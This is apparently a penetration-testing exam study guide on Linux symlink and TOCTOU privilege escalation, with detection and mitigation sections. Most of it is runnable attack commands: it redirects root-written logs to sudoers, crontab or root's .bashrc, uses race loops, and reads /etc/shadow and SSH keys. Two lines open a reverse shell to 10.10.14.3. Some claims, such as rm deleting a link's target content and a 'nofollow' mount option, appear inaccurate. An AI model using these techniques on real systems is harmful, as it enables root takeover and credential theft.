Domain 4PrivEsc & Password AttacksCORE

Symbolic Link Attacks

Comprehensive guide to symbolic link attacks, TOCTOU race conditions, and symlink-based privilege escalation techniques on Linux systems.

Domain: Domain 4: Privilege Escalation & Password Attacks•Updated: 2026-09-01
#symlinks#toctou#race-conditions#log-attacks#temp-files

Symbolic Link Attacks

Overview

Symbolic links (symlinks) are powerful Linux features that can be weaponized for privilege escalation. When a privileged process writes to a file without properly validating its target, an attacker can redirect that write to an arbitrary location using symlinks. This technique is subtle but extremely effective on the OSCP exam.


Feature Soft Link (Symlink) Hard Link
Command ln -s target link_name ln target link_name
Type Points to a path Points to the same inode
Cross-filesystem Yes No
Directories Can link directories Cannot link directories
Deletion of original Link becomes broken Link still works
File type shown l in ls -la Same as original
Stores Path string Inode reference
# Create a symbolic link
ln -s /path/to/target /path/to/link

# Example
ln -s /etc/shadow /tmp/shadow_link

# Check the link
ls -la /tmp/shadow_link
# lrwxrwxrwx 1 user user 11 Sep 1 10:00 /tmp/shadow_link -> /etc/shadow

# Read through the link (follows to target)
cat /tmp/shadow_link
# Shows contents of /etc/shadow
# Find all symbolic links on the system
find / -type l 2>/dev/null

# Find broken symbolic links
find / -xtype l 2>/dev/null

# Find symlinks in specific directories
find /tmp -type l 2>/dev/null
find /var/log -type l 2>/dev/null

# Check a specific file
ls -la /path/to/file
file /path/to/file
readlink /path/to/file

TOCTOU Race Conditions

What is TOCTOU?

Time Of Check to Time Of Use is a class of vulnerability where:

  1. A program checks a file’s properties (existence, permissions, type)
  2. Between the check and use, the file is modified by an attacker
  3. The program uses the file based on stale information
Timeline:
  ┌──────────┐     ┌──────────────┐     ┌──────────┐
  │  Check    │────│  Attacker    │────│   Use     │
  │  File OK  │    │  Replaces    │    │  Old Info │
  │           │    │  With Symlink│    │  (Unsafe) │
  └──────────┘     └──────────────┘     └──────────┘
      T1                T2                    T3
# Vulnerable script (running as root):
# 1. Check if /tmp/output.txt exists
# 2. If not, create it and write data
# 3. Process the file

# Attacker exploitation:
# Between step 1 and 2, replace with symlink
while true; do
    rm -f /tmp/output.txt
    ln -s /etc/crontab /tmp/output.txt
done

The Classic Log File Attack

This is one of the most common symlink exploitation scenarios on OSCP:

Scenario:
- A root-owned process writes to /var/log/app.log
- /var/log/app.log is world-writable OR the log directory is world-writable
- You can create a symlink at the log file's location

Step-by-Step Exploitation

# Step 1: Identify the log file
ls -la /var/log/app.log
# -rw-rw-rw- 1 root root 12345 Sep 1 10:00 /var/log/app.log

# Step 2: Remove the original log file (or wait for log rotation)
rm /var/log/app.log

# Step 3: Create a symlink to a target file
# Target: a file that root will "source" or that gives you access
ln -s /home/user/.bashrc /var/log/app.log

# Step 4: Wait for the application to write to the log
# Root's log writes now append to .bashrc

# Step 5: Add a reverse shell to .bashrc
# The log entry itself becomes your payload
# When the app writes "ERROR: connection failed" to app.log,
# it actually writes to .bashrc

# Step 6: Trigger the payload
# Log out and log back in (or source the file)
source /home/user/.bashrc

More Dangerous Target: Root’s .bashrc

# If you can symlink to root's home
rm /var/log/app.log
ln -s /root/.bashrc /var/log/app.log

# When the app writes to the log, it writes to root's .bashrc
# Add a reverse shell as the "log entry"
echo 'bash -i >& /dev/tcp/10.10.14.3/4443 0>&1' > /var/log/app.log
# This actually writes to /root/.bashrc via the symlink

# Next time root logs in, your reverse shell executes

Target: Sudoers File

# Symlink the log to sudoers
rm /var/log/app.log
ln -s /etc/sudoers /var/log/app.log

# The next log entry adds a line to sudoers
# If the log format is predictable, craft your payload
echo 'youruser ALL=(ALL) NOPASSWD:ALL' > /var/log/app.log

Many applications create temporary files in /tmp. If the application doesn’t use secure temp file creation:

# Vulnerable application does:
# touch /tmp/myapp_tempfile
# echo "sensitive_data" > /tmp/myapp_tempfile

# Attacker pre-creates a symlink:
ln -s /home/user/.ssh/authorized_keys /tmp/myapp_tempfile

# When the app writes to /tmp/myapp_tempfile, it writes to authorized_keys

Predictable Temp File Names

# Common predictable patterns:
/tmp/phpXXXXXX
/tmp/vimXXXXXX
/tmp/.com.apple.launchd.XXXXX
/tmp/attackdataXXXXXX

# Exploit predictable names:
for i in $(seq 1 10000); do
    rm -f /tmp/vulnerable_temp_$i
    ln -s /etc/crontab /tmp/vulnerable_temp_$i
done

Race Condition Exploitation

# Automated race condition attack
while true; do
    rm -f /tmp/vuln_file
    ln -s /etc/passwd /tmp/vuln_file
    sleep 0.01
done

# Run in background, then trigger the vulnerable application

Backup Script Exploitation

# Vulnerable backup script (runs as root via cron):
#!/bin/bash
cp /home/user/documents/* /backup/user_docs/
tar czf /backup/user_docs_$(date +%Y%m%d).tar.gz /home/user/documents/

# If the backup directory or source is writable:
# Create a symlink in the source directory pointing to sensitive files
ln -s /etc/shadow /home/user/documents/shadow_backup
ln -s /root/.ssh/id_rsa /home/user/documents/rsa_key

# When root runs the backup, it copies the symlink targets
# If the backup destination is predictable:
# Create a symlink that redirects the backup
ln -s /dev/null /backup/user_docs_20240101.tar.gz

# Or redirect to overwrite a file:
ln -s /etc/crontab /backup/user_docs_20240101.tar.gz

Cron Job That Writes Files

# Vulnerable cron job (runs as root):
# * * * * * root echo "status: OK" > /var/status/check.txt

# Attacker creates symlink:
rm /var/status/check.txt
ln -s /etc/crontab /var/status/check.txt

# Next cron run writes "status: OK" to /etc/crontab
# You can then add your own cron entry

Cron Job That Sources Files

# Vulnerable cron job:
# * * * * * root source /var/scripts/monitor.sh

# If /var/scripts/monitor.sh is writable or symlinkable:
ln -sf /bin/sh /var/scripts/monitor.sh
# Or if you can write to it:
echo '#!/bin/bash' > /var/scripts/monitor.sh
echo 'bash -i >& /dev/tcp/10.10.14.3/4443 0>&1' >> /var/scripts/monitor.sh

Command Follows Symlinks Notes
cat Yes Reads target content
cp Yes (default) Copies target content; use -P to copy link itself
mv Yes Moves/overwrites target
rm Yes Removes target’s content (not the link)
echo "x" > Yes Writes to target
chmod Yes Changes target’s permissions
chown Yes Changes target’s ownership
ls -la No (shows link) Shows link info; use -L to follow
stat Yes Shows target info; use -L for link info
diff Yes Compares target content
grep Yes Searches target content
# cp follows symlinks by default
cp /tmp/link /dest/
# This copies the TARGET of the link, not the link itself

# To copy the symlink itself:
cp -P /tmp/link /dest/

# rm removes through symlinks
rm /tmp/link
# If link -> /etc/shadow, this removes /etc/shadow's content reference

Practical Exploitation Examples

Example 1: Log File Overwrite

# Scenario: Root writes to /var/log/custom_app.log every minute
# The file is world-writable

# Step 1: Check permissions
ls -la /var/log/custom_app.log
# -rw-rw-rw- 1 root root 5678 Sep 1 10:00 /var/log/custom_app.log

# Step 2: Remove and replace with symlink
rm /var/log/custom_app.log
ln -s /home/user/.bashrc /var/log/custom_app.log

# Step 3: Wait for the app to write
# The log entry gets written to .bashrc

# Step 4: Check the result
cat /home/user/.bashrc
# Contains the log entry appended

# Step 5: If you control what gets written, inject a reverse shell
# (e.g., by triggering an error with specific payload)

Example 2: Config File Hijacking

# Scenario: A service reads config from /etc/myapp/config.conf
# The config file gets regenerated by a root script

# Step 1: Find the config regeneration script
grep -r "config.conf" /etc/cron* /var/spool/cron/ 2>/dev/null

# Step 2: Replace config with symlink to target
rm /etc/myapp/config.conf
ln -s /etc/crontab /etc/myapp/config.conf

# Step 3: When root regenerates the config, it writes to crontab
# Scenario: Application creates /tmp/app_data then reads it back
# Another process (root) also writes to /tmp/app_data

# Step 1: Create symlink
ln -s /root/.bashrc /tmp/app_data

# Step 2: Trigger the root process to write to /tmp/app_data
# It writes to /root/.bashrc instead

# Step 3: Log in as root (or wait for root to log in)

Reading Restricted Files

# If you can't read /etc/shadow directly but a root process can:
# Find a root process that reads files you control
# Create a symlink from your file to /etc/shadow

# Example: A root script does "cat /tmp/input.txt"
ln -s /etc/shadow /tmp/input.txt
# When root runs the script, you get the shadow file contents

Writing to Restricted Locations

# If a root process writes to a file you can symlink:
# Redirect the write to any location

# Example: Root writes to /var/log/app.log
# You replace it with symlink to /etc/sudoers
ln -s /etc/sudoers /var/log/app.log
# Root's writes now modify sudoers

Detection

# All symlinks on the system
find / -type l 2>/dev/null

# Symlinks in sensitive directories
find /etc -type l 2>/dev/null
find /var/log -type l 2>/dev/null
find /tmp -type l 2>/dev/null
find /root -type l 2>/dev/null

# Broken symlinks
find / -xtype l 2>/dev/null

# Symlinks pointing to sensitive files
find / -type l -exec ls -la {} \; 2>/dev/null | grep -E "shadow|passwd|sudoers|authorized_keys"

# Recent symlinks
find / -type l -mmin -60 2>/dev/null
# Watch for symlink creation in real-time
inotifywait -m -r -e create /tmp/ 2>/dev/null

# Check for suspicious symlinks
find / -type l -newer /var/log/syslog 2>/dev/null

Mitigation

Application-Level Protections

Technique Description
O_NOFOLLOW Open files with O_NOFOLLOW flag to reject symlinks
Atomic writes Write to temp file, then rename (atomic operation)
Fixed permissions Use open() with O_CREAT | O_EXCL to prevent symlink replacement
Verify before use Check file type after opening, not just before
Use realpath() Resolve symlinks before operating on files

Mount Options

# Mount filesystem with nofollow option
mount -o nofollow /dev/sda1 /mnt

# Add to /etc/fstab
/dev/sda1  /mnt  ext4  nofollow,noexec,nosuid  0  0

Secure Temp File Creation

# Instead of predictable temp files:
mktemp /tmp/myapp.XXXXXXXXXX    # Creates unique temp file

# In scripts, use:
tmpfile=$(mktemp)
# Use $tmpfile instead of /tmp/predictable_name

Filesystem Restrictions

# Remove write permissions from log directories
chmod 755 /var/log/app/
chmod 644 /var/log/app/app.log

# Use immutable flag on critical files
chattr +i /etc/passwd
chattr +i /etc/shadow

OSCP Exam Tips

  1. Check log file permissions — world-writable logs are symlink attack vectors
  2. Look for predictable temp file names — /tmp is a prime target
  3. Identify root cron jobs that write files — symlink the destination
  4. Check if backup scripts use symlinks unsafely — common in custom scripts
  5. /tmp is always writable — look for processes that create files there
  6. Race conditions are hard to exploit manually — focus on simpler symlink attacks first
  7. Symlinks + writable files = powerful combo — combine both techniques
  8. Check ls -la on log directories — look for existing symlinks
  9. When you find a writable log, think: “What if I replace it with a symlink?”
  10. find / -type l 2>/dev/null is a quick check that often reveals opportunities

Quick Reference

# === ENUMERATION ===
find / -type l 2>/dev/null                              # All symlinks
find / -xtype l 2>/dev/null                             # Broken symlinks
find /tmp -type l 2>/dev/null                           # Temp symlinks
ls -la /var/log/                                         # Check log links

# === EXPLOITATION ===
rm /var/log/app.log                                      # Remove log file
ln -s /home/user/.bashrc /var/log/app.log                # Create symlink
# Wait for root to write to the log

# === RACE CONDITION ===
while true; do rm -f /tmp/vuln; ln -s /etc/passwd /tmp/vuln; done

# === SAFE PRACTICES ===
mktemp /tmp/app.XXXXXXXXXX                               # Secure temp files

Practice Scenarios

Scenario 1: Writable Log File

# You find:
-rw-rw-rw- 1 root root 2345 Sep 1 10:00 /var/log/webapp.log

# A root process writes to this log every 30 seconds
# Exploit:
rm /var/log/webapp.log
ln -s /etc/crontab /var/log/webapp.log
# Wait for root to write, then check crontab
cat /etc/crontab
# Add your own entry if the write gave you a line

Scenario 2: Predictable Temp File

# Root script creates /tmp/report_$(date +%H%M).txt
# You can predict the name

# Exploit:
ln -s /root/.bashrc /tmp/report_1430.txt
# Trigger the script at 14:30
# Root writes report data to your .bashrc

Scenario 3: Backup Script Abuse

# Root cron runs: cp /home/user/* /backup/
# You control /home/user/

# Exploit:
ln -s /etc/shadow /home/user/shadow_copy
# Next backup run copies /etc/shadow to /backup/shadow_copy
cat /backup/shadow_copy